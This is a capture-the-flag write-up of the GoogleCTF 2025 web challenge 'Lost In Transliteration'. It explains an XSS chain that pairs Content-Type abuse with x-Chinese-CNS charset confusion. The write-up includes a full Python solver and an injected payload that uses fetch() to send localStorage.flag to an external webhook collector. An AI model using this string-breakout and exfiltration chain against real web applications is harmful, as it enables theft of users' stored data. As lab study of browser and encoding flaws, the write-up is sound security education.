Lost In Transliteration
Lost In Transliteration
Platform: googlectf2025 | Category: Web | Type: Challenge | Difficulty: Medium | OS: Windows | Author: XESXOR | Date: 2026-06-09 | Status: Solved Techniques: charset_confusion_xss, content_type_abuse, tagged_template_rce, js_string_breakout_via_encoding, automatic_semicolon_insertion, var_hoisting
Summary
Task: C# ASP.NET app with Greek-to-Latin transliterator, XSS bot stores flag in localStorage, JsEncode escapes specials but passes Unicode letters, ct parameter controls Content-Type. Solution: Serve script.js as text/html to activate embedded <script> tag, use x-Chinese-CNS charset confusion (Chrome falls back to windows-1252) to split CJK letter bytes into JS special characters, break out of string with tagged template for parenthesis-free code execution.
Lost In Transliteration — GoogleCTF 2025
Description
We found a service that converts Greek characters to Latin. It seems simple: ΕΛΛΑΣ becomes ELLAS. However, our logs show some very strange outputs. The service is flawed, but we think it's by design. There's a secret hidden in the way it handles the characters. Your job is to find what's "lost" in the transliteration. The flag is in there somewhere. Good luck.
English summary: A C# ASP.NET web application serves a Greek-to-Latin transliteration tool. A Puppeteer XSS bot stores the flag in localStorage for http://localhost:1337 and visits an attacker-supplied URL. The goal is to achieve XSS to exfiltrate the flag. User input is reflected inside a JS string via a custom JsEncode function that escapes all non-letter, non-whitespace characters. The Content-Type header is controllable via a ct query parameter.
Analysis
Architecture
The app has three endpoints:
/— Returns HTML that loads<script type=module src='/file?filename=script.js&q=...&ct=text/javascript'>./file— Servesscript.jsorstyle.css. ReplacesTEMPLATE_QUERY_JSwithJsEncode(q). Thectparameter sets theContent-Typeheader (must match^text/and parse as a validContentType)./xss-bot— Launches a Puppeteer bot that setslocalStorage.setItem("flag", FLAG)forhttp://localhost:1337, then navigates to the attacker-supplied URL.
JsEncode — the sanitizer
csharp read-only • copy allowedprivate static bool IsSafeChar(char c) { var cat = char.GetUnicodeCategory(c); var isLetter = cat == UnicodeCategory.LowercaseLetter || cat == UnicodeCategory.UppercaseLetter || cat == UnicodeCategory.OtherLetter; return isLetter || char.IsWhiteSpace(c); }
- Letters (Ll, Lu, Lo categories) and whitespace pass through raw.
- Everything else — including
',\,<,>,/,;,(,),`— is escaped to\uXXXX. - A JS-side filter also blocks
<script>,</script>,javascript:,onerror=substrings inwindow.q.
This seems airtight: you can't break out of window.q = '...' because the single quote is escaped, and you can't inject HTML tags.
Vulnerability 1: Content-Type abuse (text/html)
The ct parameter is validated only with ^text/ regex and ContentType parsing. Setting ct=text/html makes Chrome parse script.js as an HTML document instead of JavaScript.
The JS source contains a critical comment on line 286:
javascript read-only • copy allowed// TODO: Maybe we should move this directly to HTML into a <script> tag? window.q = 'TEMPLATE_QUERY_JS'; // XSS prevention const PAYLOADS = [`<script>`, `</script>`, `javascript:`, `onerror=`];
When parsed as HTML:
- The
<script>in the comment on line 286 opens a real script element. - The
`</script>`literal on line 290 closes it. - Lines 286–290 (including
window.q = '<PAYLOAD>') execute as JavaScript inside a<script>block. - The JS-side PAYLOADS filter on lines 290–295 is outside this script block and never runs.
Vulnerability 2: Charset confusion (x-Chinese-CNS → windows-1252)
The critical line: Encoding.RegisterProvider(CodePagesEncodingProvider.Instance); enables legacy charset encodings.
Results.Text(text, contentType: ct) re-encodes the response body using the charset declared in ct. With ct=text/html;charset=x-Chinese-CNS:
- .NET encodes CJK codepoints (which are
OtherLettercategory → passIsSafeChar) into 2-byte sequences in the CNS 11643 encoding. - Chrome does NOT support x-Chinese-CNS → falls back to windows-1252 (single-byte Latin).
- The 2-byte sequences get split: the lead byte becomes a valid JS identifier character (e.g.,
É= 0xC9), and the trail byte becomes an unescaped ASCII special character.
Key codepoints discovered via fuzzing:
| Unicode | CNS bytes | windows-1252 decode | Produces |
|---|---|---|---|
| U+51D8 | C9 27 | É' | single quote ' |
| U+5604 | C9 3A | É: | colon : |
| U+5889 | C9 3D | É= | equals = |
| U+5ADD | C9 60 | É` | backtick ` |
This means CJK characters that pass IsSafeChar as "OtherLetter" produce unescaped JS special characters after the charset confusion.
Combining both vulnerabilities
With ct=text/html;charset=x-Chinese-CNS:
- Chrome parses the JS file as HTML → the comment's
<script>creates a real script block. - Inside that block,
window.q = '<PAYLOAD>'executes as JS. - CJK characters in the payload produce
',:,=,`after charset confusion. - We can break out of the string and execute arbitrary JavaScript.
Solution
Payload construction
Constraints:
- No parentheses
()— they'd get a lead byte prepended by the CNS encoding. - No semicolons — use newlines for ASI (Automatic Semicolon Insertion).
- Must handle the
<script> tag?text from the comment — the wordtagand?need to be absorbed.
The technique: tagged templates — setTimeout`code`` evaluates code without parentheses.
The injection (what Chrome's JS engine sees after charset confusion):
javascript read-only • copy allowed// Inside the <script> block, after windows-1252 decoding: tag ? window.q = 'xÉ' in É : alert // ternary absorbs 'tag?', breaks string with ' var É = setTimeout // assign setTimeout to É (hoisted) É`fetch('https://EXFIL/'+encodeURIComponent(localStorage.flag))//É` // tagged template RCE var tag // hoist 'tag' identifier (used in ternary above) É` // absorb trailing backtick from template
The q parameter value uses CJK codepoints:
\u51D8→ produces'(breaks out of string)\u5604→ produces:(ternary operator)\u5889→ produces=(assignment)\u5ADD→ produces`(template literal delimiter)
Solve script
python read-only • copy allowed#!/usr/bin/env python3 """ Lost In Transliteration - GoogleCTF2025 solver. Chain: 1. /file reflects q into: window.q = '<q>'; 2. Serve as text/html so the literal <script>...</script> already present in the file becomes a real EXECUTING <script> (the JS PAYLOADS filter never runs). 3. JsEncode keeps Letters+Whitespace, escapes ' \\ < etc. charset=x-Chinese-CNS: .NET encodes CJK letters to 2-byte seqs whose 2nd byte is a special ASCII char (' : = `). Chrome doesn't know x-Chinese-CNS -> falls back to windows-1252 -> splits bytes -> lead byte = JS-identifier char (É), trail byte = unescaped special char. 4. tagged-template + setTimeout (no parens) + ASI + hoisting. Usage: python3 solve.py <BASE_URL> <EXFIL_URL> BASE_URL e.g. https://lost-in-transliteration-web.2025.ctfcompetition.com EXFIL_URL your collector base, e.g. https://abc.x.pipedream.net/f """ import sys, urllib.parse, urllib.request # x-Chinese-CNS codepoints -> windows-1252 [lead-ident-char][special-ascii] Q = "\u51D8" # -> XX ' C = "\u5604" # -> XX : E = "\u5889" # -> XX = B = "\u5ADD" # -> XX ` def build_q(exfil_base): code = "fetch('" + exfil_base + "/'+encodeURIComponent(localStorage.flag))//" q = ("x" + Q + "in " + C + "alert\n" + "var " + E + "setTimeout\n" + B + code + B + "\n" + "var tag\n" + B) return q def build_target(base, exfil_base): q = build_q(exfil_base) enc = urllib.parse.quote(q, safe="") return (base + "/file?filename=script.js" "&ct=text/html;charset=x-Chinese-CNS" "&q=" + enc) def main(): if len(sys.argv) < 3: print(__doc__); sys.exit(1) base = sys.argv[1].rstrip("/") exfil = sys.argv[2].rstrip("/") target = build_target(base, exfil) print("[*] Target URL (visited by bot):") print(target) bot = base + "/xss-bot?url=" + urllib.parse.quote(target, safe="") print("\n[*] Submit this to the XSS bot:") print(bot) try: print("\n[*] Sending to /xss-bot ...") with urllib.request.urlopen(bot, timeout=60) as r: print("[*] bot response:", r.status, r.read().decode(errors="replace")) except Exception as e: print("[!] could not auto-submit:", e) print(" -> open the /xss-bot URL above manually.") if __name__ == "__main__": main()
Execution
bash read-only • copy allowedpython3 solve.py https://lost-in-transliteration-web.2025.ctfcompetition.com https://webhook.site/TOKEN
The bot visits the crafted URL → Chrome parses script.js as HTML with x-Chinese-CNS charset → falls back to windows-1252 → CJK bytes split into JS specials → string breakout → setTimeout tagged template fires fetch() → flag exfiltrated to webhook.site.
Webhook received:
GET /TOKEN/CTF%7BREDACTED%7D